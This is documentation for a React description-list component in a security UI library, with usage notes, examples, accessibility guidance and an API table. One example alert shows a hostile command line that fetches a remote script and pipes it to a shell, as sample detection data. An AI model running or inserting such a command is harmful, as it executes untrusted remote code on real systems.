# Description List

The label and value list of a detail view, such as an asset's properties or an alert's metadata.

```tsx
import { Card, CardContent, CardHeader, CardTitle } from "@zenoxai/ui/components/card"
import { DescriptionItem, DescriptionList } from "@zenoxai/ui/patterns/description-list"
import { SeverityBadge } from "@zenoxai/ui/patterns/severity-badge"

function DescriptionListDemo() {
  return (
    <Card className="w-full max-w-md">
      <CardHeader>
        <CardTitle>web-prod-03</CardTitle>
      </CardHeader>
      <CardContent>
        <DescriptionList>
          <DescriptionItem label="Asset ID" mono>
            ast_5c1e9b07a2
          </DescriptionItem>
          <DescriptionItem label="IP address" mono>
            10.24.8.113
          </DescriptionItem>
          <DescriptionItem label="Operating system">
            Ubuntu 22.04 LTS
          </DescriptionItem>
          <DescriptionItem label="Owner">Platform team</DescriptionItem>
          <DescriptionItem label="Highest severity">
            <SeverityBadge level="high" variant="soft" />
          </DescriptionItem>
          <DescriptionItem label="Last seen">2 minutes ago</DescriptionItem>
        </DescriptionList>
      </CardContent>
    </Card>
  )
}
```

## Usage

```tsx
import {
  DescriptionItem,
  DescriptionList,
} from "@zenoxai/ui/patterns/description-list"

export function AssetDetails() {
  return (
    <DescriptionList>
      <DescriptionItem label="Operating system">
        Ubuntu 22.04 LTS
      </DescriptionItem>
      <DescriptionItem label="Asset ID" mono>
        ast_5c1e9b07a2
      </DescriptionItem>
    </DescriptionList>
  )
}
```

Use it for the properties of one record in a card, a sheet or a detail page. Rows share one
rhythm and one divider, so every detail view reads the same. Labels take a third of the width
and values the rest.

A value can be any node: text, a link, a [Severity Badge](/patterns/severity-badge) with
`variant="soft"`, a [Status Badge](/patterns/status-badge). Show a muted placeholder for a
missing value rather than dropping the row, so the same record type always has the same rows.

To compare many records by the same properties, use a [Table](/components/table) instead.

## Examples

### Identifiers

`mono` renders the value in the monospace face. Use it for identifiers, hashes, IP addresses
and anything else a user compares character by character. Long values wrap instead of
overflowing the card.

```tsx
import { DescriptionItem, DescriptionList } from "@zenoxai/ui/patterns/description-list"

function DescriptionListMono() {
  return (
    <DescriptionList className="w-full max-w-md">
      <DescriptionItem label="File name">invoice_0423.pdf.exe</DescriptionItem>
      <DescriptionItem label="SHA-256" mono>
        9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
      </DescriptionItem>
      <DescriptionItem label="MD5" mono>
        098f6bcd4621d373cade4e832627b4f6
      </DescriptionItem>
      <DescriptionItem label="First seen">Oct 21, 2026, 09:14</DescriptionItem>
    </DescriptionList>
  )
}
```

### Long values

`block` stacks the value under a full-width label. Use it for paragraphs, command lines and
JSON. Line breaks and indentation in the value are preserved, so a pretty-printed JSON string
renders as is.

```tsx
import { DescriptionItem, DescriptionList } from "@zenoxai/ui/patterns/description-list"

function DescriptionListBlock() {
  const rawEvent = {
    event: "process_start",
    host: "web-prod-03",
    user: "www-data",
    parent: "nginx",
  }

  return (
    <DescriptionList className="w-full max-w-md">
      <DescriptionItem label="Rule">
        Suspicious child of web server
      </DescriptionItem>
      <DescriptionItem label="Description" block>
        A web server process started a shell. This often follows the
        exploitation of a file upload or command injection flaw.
      </DescriptionItem>
      <DescriptionItem label="Command line" block mono>
        /bin/sh -c curl -s http://198.51.100.7/x.sh | sh
      </DescriptionItem>
      <DescriptionItem label="Raw event" block mono>
        {JSON.stringify(rawEvent, null, 2)}
      </DescriptionItem>
    </DescriptionList>
  )
}
```

## Accessibility

- `DescriptionList` renders a real `<dl>`, and each `DescriptionItem` a `<dt>` and `<dd>` pair,
  so screen readers announce the label with its value.
- Keep labels short and unique within one list. A label is the only context a screen reader
  user gets for the value.

## API reference

`import { ... } from "@zenoxai/ui/patterns/description-list"`

### DescriptionItem

| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| block | `boolean` | `false` | Stacks the value under a full-width label instead of beside it. Use it for blocks (long text, code, JSON) that need the full width. |
| label (required) | `ReactNode` |  |  |
| mono | `boolean` | `false` | Renders the value in the monospace face, for identifiers and hashes. |

### DescriptionList

No props of its own.